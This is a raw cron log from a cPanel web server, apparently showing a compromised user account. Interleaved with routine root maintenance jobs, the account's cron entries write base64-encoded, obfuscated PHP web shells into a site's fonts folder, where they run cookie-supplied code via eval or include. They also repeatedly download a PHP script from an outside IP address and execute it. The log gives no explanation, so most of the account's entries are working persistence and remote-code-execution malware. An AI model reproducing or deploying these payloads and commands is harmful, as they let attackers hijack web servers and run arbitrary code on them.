Sep 11 17:37:01 ip-184-168-122-23 CROND[10844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:38:01 ip-184-168-122-23 CROND[10926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:38:01 ip-184-168-122-23 CROND[10928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:38:01 ip-184-168-122-23 CROND[10929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:38:01 ip-184-168-122-23 CROND[10931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:38:01 ip-184-168-122-23 CROND[10930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:39:01 ip-184-168-122-23 CROND[11039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:39:01 ip-184-168-122-23 CROND[11040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:39:01 ip-184-168-122-23 CROND[11041]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 17:39:01 ip-184-168-122-23 CROND[11043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:39:01 ip-184-168-122-23 CROND[11044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:40:01 ip-184-168-122-23 CROND[11142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:40:01 ip-184-168-122-23 CROND[11143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:40:01 ip-184-168-122-23 CROND[11146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:40:01 ip-184-168-122-23 CROND[11147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:40:01 ip-184-168-122-23 CROND[11149]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:40:01 ip-184-168-122-23 CROND[11150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:40:01 ip-184-168-122-23 CROND[11151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:40:01 ip-184-168-122-23 CROND[11148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:41:02 ip-184-168-122-23 CROND[11248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:41:02 ip-184-168-122-23 CROND[11249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:41:02 ip-184-168-122-23 CROND[11247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:41:02 ip-184-168-122-23 CROND[11246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:42:01 ip-184-168-122-23 CROND[11448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:42:01 ip-184-168-122-23 CROND[11450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:42:01 ip-184-168-122-23 CROND[11449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:42:01 ip-184-168-122-23 CROND[11451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:42:01 ip-184-168-122-23 CROND[11452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:43:01 ip-184-168-122-23 CROND[11589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:43:01 ip-184-168-122-23 CROND[11591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:43:01 ip-184-168-122-23 CROND[11592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:43:01 ip-184-168-122-23 CROND[11593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:44:01 ip-184-168-122-23 CROND[11675]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:44:01 ip-184-168-122-23 CROND[11677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:44:01 ip-184-168-122-23 CROND[11678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:44:01 ip-184-168-122-23 CROND[11681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:44:01 ip-184-168-122-23 CROND[11679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:45:01 ip-184-168-122-23 CROND[11771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:45:01 ip-184-168-122-23 CROND[11773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:45:01 ip-184-168-122-23 CROND[11775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:45:01 ip-184-168-122-23 CROND[11777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:45:01 ip-184-168-122-23 CROND[11776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:45:01 ip-184-168-122-23 CROND[11774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:46:01 ip-184-168-122-23 CROND[11904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:46:01 ip-184-168-122-23 CROND[11907]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:46:01 ip-184-168-122-23 CROND[11908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:46:01 ip-184-168-122-23 CROND[11909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:46:01 ip-184-168-122-23 CROND[11906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:46:01 ip-184-168-122-23 CROND[11911]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 17:46:01 ip-184-168-122-23 CROND[11910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:47:01 ip-184-168-122-23 CROND[12089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:47:01 ip-184-168-122-23 CROND[12090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:47:01 ip-184-168-122-23 CROND[12091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:47:01 ip-184-168-122-23 CROND[12092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:48:01 ip-184-168-122-23 CROND[12176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:48:01 ip-184-168-122-23 CROND[12178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:48:01 ip-184-168-122-23 CROND[12179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:48:01 ip-184-168-122-23 CROND[12180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:48:01 ip-184-168-122-23 CROND[12182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:49:01 ip-184-168-122-23 CROND[12293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:49:01 ip-184-168-122-23 CROND[12294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:49:01 ip-184-168-122-23 CROND[12292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
